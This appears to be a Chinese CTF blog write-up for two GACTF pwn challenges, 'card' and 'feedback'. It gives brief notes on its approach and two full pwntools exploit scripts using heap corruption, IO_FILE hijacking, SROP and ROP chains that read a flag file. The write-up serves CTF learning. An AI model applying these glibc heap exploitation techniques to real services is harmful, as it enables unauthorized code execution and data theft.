GACTF

刚开学没做什么题,就先放两个吧,一个是比赛时候做出来的,一个是一个师傅问我什么思路然后我自己后期打出来的非预期 下载附件

card

本来不想打GACTF,奈何学长咕咕了,所以呢,起床吃完午饭回来拿了个二血,之后就没去做了
简单的堆溢出,可以通过劫持IO leak stack地址,也可以劫持IO 利用 IO里面的chain指针和 malloc_hook 在exit劫持成SROP

1
from pwn import*
2
context.arch = 'AMD64'
3
def menu(ch):
4
	p.sendlineafter('Choice:',str(ch))
5
def new(size):
6
	menu(1)
7
	p.sendlineafter('Size:',str(size))
8
def edit(index,content):
9
	menu(2)
10
	p.sendlineafter('Index:',str(index))
11
	p.sendafter('Message',content)
12
def free(index):
13
	menu(3)
14
	p.sendlineafter('Index:',str(index))
15
def E(index,content):
16
	menu(5)
17
	p.sendlineafter('Index:',str(index))
18
	p.sendafter('Message',content)
19
p = process('./main')
20
p = remote('119.3.154.59',9777)
21
libc = ELF('./libc-2.31.so')
22
new(0x30) #0
23
new(0x28) #1
24
new(0xF0) #2
25
new(0xF0) #3
26
new(0xF0) #4
27
new(0xF0) #5
28
new(0x28) #6
29
new(0x28) #7
30
edit(0,'F'*0x28 + p32(0x431))
31
edit(1,'M'*0x28)
32
free(2)
33
new(0xF0)  #2
34
new(0xF0)  #8
35
new(0xF0)  #9
36
new(0xF0)  #10
37
new(0x28)  #11
38
39
edit(1,'M'*0x28)
40
free(2)
41
new(0xF0)  #2
42
new(0xF0)  #12
43
new(0x1F0) #13
44
new(0x28)  #14
45
new(0x1F0)  #15
46
for i in range(6):
47
	new(0xF0) #16
48
for i in range(6):
49
	free(16 + i)
50
free(3)
51
edit(8,'F'*0x10)
52
free(8)
53
E(12,'\xA0\x36')
54
new(0xF0) # 3
55
new(0xF0) # 8 stdout
56
E(8,p64(0xFBAD1800) + p64(0)*3 + '\x08')
57
libc_base = u64(p.recvuntil('\x7F')[-6:].ljust(8,'\x00')) - libc.sym['_IO_2_1_stdin_']
58
log.info('LIBC:\t' + hex(libc_base))
59
malloc_hook = libc_base + libc.sym['__malloc_hook']
60
###########3
61
pop_rdi_ret = libc_base + 0x0000000000026B72
62
pop_rdx_r12 = libc_base + 0x000000000011C1E1
63
pop_rsi_ret = libc_base + 0x0000000000027529
64
pop_rax_ret = libc_base + 0x000000000004A550
65
jmp_rsi  = libc_base + 0x00000000001105BD
66
67
68
syscall = libc_base + libc.sym['syscall']
69
70
target = libc_base + libc.sym['_IO_2_1_stdin_']
71
address = libc.sym['__free_hook'] + libc_base
72
IO_str_jumps = libc_base + 0x1ED560
73
frame_address = target + 0xE0
74
75
Open = libc_base + libc.symbols["open"]
76
Read = libc_base + libc.symbols["read"]
77
Puts = libc_base + libc.symbols['puts']
78
free_hook = address
79
IO  = '\x00'*0x28
80
IO += p64(frame_address)
81
IO  = IO.ljust(0xD8,'\x00')
82
IO += p64(IO_str_jumps)
83
read = libc_base + libc.sym['read']
84
frame = SigreturnFrame()
85
frame.rax = 0
86
frame.rdi = 0
87
frame.rsi = address
88
frame.rdx = 0x2000
89
frame.rsp = address
90
frame.rip = Read
91
92
93
orw  = p64(pop_rdi_ret)+p64(free_hook + 0xF8)
94
orw += p64(pop_rsi_ret)+p64(0)
95
orw += p64(Open)
96
orw += p64(pop_rdi_ret) + p64(3)
97
orw += p64(pop_rdx_r12) + p64(0x30) + p64(0)
98
orw += p64(pop_rsi_ret) + p64(free_hook+0x100)
99
orw += p64(Read)
100
orw += p64(pop_rdi_ret)+p64(free_hook+0x100)
101
orw += p64(Puts)
102
orw  = orw.ljust(0xF8,'\x00')
103
orw += './flag\x00\x00'
104
IO += str(frame)
105
free(15)
106
free(13)
107
edit(9,p64(target))
108
new(0x1F8) # 13
109
new(0x1F8) # 15 target
110
E(15,IO + 'F'*0x18 + p64(libc_base + libc.sym['setcontext'] + 61))
111
112
p.sendlineafter('Choice:','4')
113
p.sendline(orw)
114
p.interactive()

feedback

一个师傅问了我几个存在的功能,然后他问我思路,我想了想,想出了这个方法,和官方WP不一样,但是都是打IO,三个多小时就写好exp了,不知道为什么是0解题,我感觉不难啊

1. 只要 read_end和write_ptr相等貌似就能leak出libc,所以一个off by null,多构造几个堆块重叠,然后打global_max_fast  
2. 之后free 一个大块两次,分别覆盖_IO_2_1_stdout_中的read_end和write_ptr指针,之后就能leak 出libc  
3. 然后此时利用FSOP 2.24之后的方法,劫持buf_base指向main_arena  
   而main_arena可以利用fastbin的残留信息,通过一个0x100块的double free劫持过去布置SROP  

我本地为了环境方便替换libc-2.23.so的版本为最新的那个版本,不知道会不会与原题目太大的差距

1
from pwn import*
2
import os
3
context.arch = 'AMD64'
4
def menu(ch):
5
	p.sendlineafter('>>',str(ch))
6
def new(size,content):
7
	menu(1)
8
	p.sendlineafter('length?',str(size))
9
	p.sendafter('for us:',content)
10
def free(index):
11
	menu(2)
12
	p.sendlineafter('revoke?',str(index))
13
def edit(index,content):
14
	menu(3)
15
	p.sendlineafter('edit?',str(index))
16
	p.sendafter('content:',content)
17
def F(index):
18
	p.sendline('2')
19
	p.sendline(str(index))
20
def N(size,content):
21
	p.sendline('1')
22
	p.sendline(str(size))
23
	p.send(content)
24
def E(index,content):
25
	p.sendline(str(3))
26
	sleep(1)
27
	p.sendline(str(index))
28
	sleep(1)
29
	p.send(content)
30
	sleep(1)
31
def gift():
32
	menu(666)
33
34
while True:
35
	p = process('./main')
36
	libc = ELF('./libc-2.23.so')
37
	try:
38
		new(0x10,'FMYY')
39
		new(0x10,'FMYY')
40
		new(0xF0,'FMYY')
41
		new(0xF0,'FMYY')
42
		new(0xF0,'FMYY')
43
		new(0xF0,'FMYY')
44
		free(2)
45
		free(0)
46
		new(0xF8,'\x00'*0xF0 + p64(0x140)) #0
47
		free(3)
48
		new(0x10,'FMYY') #2
49
		new(0x10,'FMYY') #3 3 = 1
50
		new(0xF0,'FMYY') #6 6 = 0
51
		new(0xF0,'FMYY') #7
52
		#############
53
		free(2)
54
		free(0)
55
		new(0xF8,'\x00'*0xF0 + p64(0x140)) #0
56
		free(7)
57
		new(0x10,'FMYY') #2
58
		new(0x10,'FMYY') #7 = 3 = 1
59
		new(0xF0,'FMYY') #8 = 6 = 0
60
		new(0xF0,'FMYY') #9
61
62
		###############
63
		free(9)
64
		free(2)
65
		new(0xF8,'\x00'*0xF0 + p64(0x240)) #2
66
		free(4)
67
		new(0x10,'FMYY') #4
68
		new(0x10,'FMYY') #9 = 7 = 3 = 1
69
		new(0x19,'FMYY') #10 = 8 = 6 = 0
70
		new(0xF0,'FMYY') #11 = 2
71
		new(0xF0,'FMYY') #12
72
		###############
73
		for i in range(0x13):
74
			new(0xF0,(p64(0) + p64(0x11)) * ( 0xF0 / 0x10))
75
			sleep(0.01)
76
		free(0)
77
		edit(6,'\x00'*8 + '\xE8\x37')
78
		new(0xF0,'\x00'*0x10 + p64(0x11))
79
		free(1)
80
		free(4)
81
		free(3)
82
		free(0x16) # no....
83
		new(0x10,'\x38')
84
		new(0x10,'FMYY')
85
		new(0x11,'\x00'*0x10 + '\x21')
86
		new(4,p32(0x1631))
87
		free(6)
88
		E(0x16,p32(0x1651))
89
		F(0)
90
		libc_base = u64(p.recvuntil('\x7F',timeout=0.5)[-6:].ljust(8,'\x00')) - libc.sym['_IO_2_1_stdout_'] - 131
91
		log.info('LIBC:\t' + hex(libc_base))
92
		binsh = libc_base + libc.search('/bin/sh').next()
93
		system = libc_base + libc.sym['system']
94
		IO_str_jumps = libc_base + 0x3C37A0
95
		frame_address = libc_base + libc.sym['__malloc_hook'] + 0x10
96
		pop_rdi_ret = libc_base + 0x0000000000021112
97
		pop_rsi_ret = libc_base + 0x00000000000202F8
98
		pop_rdx_ret = libc_base + 0x0000000000001B92
99
		ret = libc_base + 0x0000000000000937
100
		syscall = libc_base + 0xF8A95
101
		Write = libc_base + libc.sym['write']
102
		Read = libc_base + libc.sym['read']
103
		Open = libc_base + libc.sym['open']
104
		frame = SigreturnFrame()
105
		frame.rax = 0
106
		frame.rdi = 0
107
		frame.rsi = frame_address
108
		frame.rdx = 0x100
109
		frame.rsp = frame_address
110
		frame.rip = syscall
111
112
		edit(0x16,p32(0x1410))
113
		fake_IO_FILE  = p64(0)*2
114
		fake_IO_FILE += p64(0) + p64(0x100)
115
		fake_IO_FILE += p64(0) + p64(frame_address)
116
		fake_IO_FILE = fake_IO_FILE.ljust(0xC8,'\x00')
117
		fake_IO_FILE += p64(IO_str_jumps -8)
118
		fake_IO_FILE += p64(0) + p64(libc_base + libc.sym['setcontext'] + 53)
119
		edit(8,fake_IO_FILE)
120
		free(10)
121
		free(1)
122
		free(3)
123
		free(4)
124
		new(0x10,p64(0x101))
125
		new(0x10,'FMYY')
126
		new(0x10,'FMYY')
127
		free(2)
128
		free(0x17)
129
		free(11)
130
		new(0xF0,p64(libc_base + libc.sym['__malloc_hook'] + 0x10))
131
		new(0xF0,'FMYY')
132
		new(0xF0,'FMYY')
133
		new(0xF0,str(frame)[0x10:0x100])
134
		free(0)
135
		free(3)
136
		free_hook = libc_base + libc.sym['__free_hook']
137
		orw  = p64(pop_rdi_ret) + p64(frame_address + 0x98)
138
		orw += p64(pop_rsi_ret) + p64(0)
139
		orw += p64(Open)
140
		orw += p64(pop_rdi_ret) + p64(3)
141
		orw += p64(pop_rsi_ret) + p64(free_hook)
142
		orw += p64(pop_rdx_ret) + p64(0x30)
143
		orw += p64(Read)
144
		orw += p64(pop_rdi_ret) + p64(1)
145
		orw += p64(pop_rsi_ret) + p64(free_hook)
146
		orw += p64(pop_rdx_ret) + p64(0x30)
147
		orw += p64(Write)
148
		orw  = orw.ljust(0x90,'\x00')
149
		orw += './flag\x00\x00'
150
		sleep(1)
151
		p.sendline(orw)
152
		break
153
		
154
	except:
155
		p.close()
156
		context.log_level = 20
157
		continue
158
		os.system('rm core')
159
p.recvuntil('CTF_FLAG')
160
log.info('FLAG:\t' + 'CTF_FLAG' + p.recvuntil('}'))
161
p.interactive()

Continue

剩下的题看心情复现吧 ^-^ ……

Contents
  1. 1. card
  2. 2. feedback
  3. 3. Continue
|